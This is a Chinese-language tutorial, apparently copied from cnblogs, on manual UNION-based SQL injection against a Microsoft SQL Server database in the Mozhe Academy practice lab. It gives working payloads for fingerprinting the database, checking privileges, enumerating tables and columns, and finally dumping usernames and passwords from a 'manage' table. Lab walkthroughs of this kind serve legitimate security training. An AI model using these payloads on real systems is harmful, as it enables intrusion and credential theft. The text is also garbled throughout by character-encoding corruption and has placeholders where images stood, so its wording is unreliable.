mssql數(shù)據(jù)庫相關(guān)介紹:
mssql數(shù)據(jù)庫:
mssql數(shù)據(jù)庫是一款微軟推出的數(shù)據(jù)庫
?
判斷是否為mssql數(shù)據(jù)庫:
and exists(select * from sysobjects)--
exists是一個(gè)是否存在的判斷? ??
sysobjects是mssql數(shù)據(jù)庫自帶的一張表
?
mssql數(shù)據(jù)庫權(quán)限:
sa權(quán)限:數(shù)據(jù)庫操作,?件管理,命令執(zhí)?,注冊表讀取等 system
db權(quán)限:?件管理,數(shù)據(jù)庫操作等 users-adminstrators
public權(quán)限:數(shù)據(jù)庫操作 guest-users
?
mssql數(shù)據(jù)庫判斷權(quán)限的語句:
and 1=(select is_srvrolemember('sysadmin')) //判斷是否是系統(tǒng)管理員
and 1=(select is_srvrolemember('db_owner'))//判斷是否是庫權(quán)限
and 1=(select is_srvrolemember('public')) //判斷是否為public權(quán)限
?
調(diào)用數(shù)據(jù)庫的語句:
<% set conn =server.createobject("adodb.connection") conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name" %>
provider是數(shù)據(jù)庫引擎 ;uid是權(quán)限
?
在線靶場:
?
靶場使用墨者學(xué)院在線靶場
?
?
?
?
?啟動(dòng)靶場后,就會(huì)有對(duì)應(yīng)的ip地址和端口,訪問后即可進(jìn)行練習(xí)
?
?
?
?進(jìn)入靶場后使用檢查模式,進(jìn)入max hackbar
添加url地址,加上mssql數(shù)據(jù)庫的判斷語句,刷新
如果頁面返回正常,說明使用的是mssql數(shù)據(jù)庫
?
尋找字符顯位
代碼:id=-2 union all select null,null,null,null
每個(gè)null都是一個(gè)顯位,通過依次改變null的值,來看該顯位是否可以用
id=-2 與id=2需要做測試,出現(xiàn)下圖界面時(shí),為所需要的值
?
?
?
?將第一個(gè)顯位的值改變
?
?
?
?刷新后發(fā)現(xiàn),沒由變化,該顯位不可用
?
將第二個(gè)顯位的值改變
?
?
?此時(shí)發(fā)現(xiàn)有了變化,證明該顯位可以用
依次測試3,4顯位,發(fā)現(xiàn)第3 顯位也可以用
?
?
?測試顯位時(shí),給測試符加上單引號(hào),不容易報(bào)錯(cuò)
?
測試出顯位后,就可以利用顯位,做一下查詢
?
查詢基本信息
1.@@version- 獲取版本信息;
2.db_name() -數(shù)據(jù)庫名字
3.user,system_user,current_user,user_name – 獲取當(dāng)前?戶名
4.@@SERVERNAME – 獲取有關(guān)服務(wù)器主機(jī)的信息。
?
利用顯位查看版本信息和數(shù)據(jù)庫名字
?
?
?
?
查詢表名
利用第二個(gè)顯位查詢表名
id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null
xtype='u'是手工創(chuàng)建的數(shù)據(jù)庫,不是系統(tǒng)自帶的
mozhe_db_v2是數(shù)據(jù)庫名
?
?
?
查詢出第一個(gè)表表名為manage
?
?
在代碼中加入and name not in ('manage') 除去第一個(gè)表,來查詢第二個(gè)表表名
id=-2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null
?
?
?
以此類推在?not in ('manage')里加入第二個(gè)表名可以查出第三個(gè)表not in ('manage','announcement')
依次可以繼續(xù)查詢,直到查詢到自己所需要的表
本次實(shí)驗(yàn)需要查詢用戶信息,所以使用manage表就可以
?
獲取manage表列名
id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
也是利用第二顯位來做查詢
紅色的1代表查詢第一列,假設(shè)要查詢第二列更改為2即可
依次查詢后,發(fā)現(xiàn)第二列第三列為username 和 password
?
?
?
查詢用戶名和密碼
id=-2 union all select null,username, password ,null from manage
利用第二顯位和第三顯位查詢username 和password兩列的信息
?
?
?
?
?
?
?整一個(gè)sql注入完成,成功拿到用戶名和密碼
本文摘自 :https://www.cnblogs.com/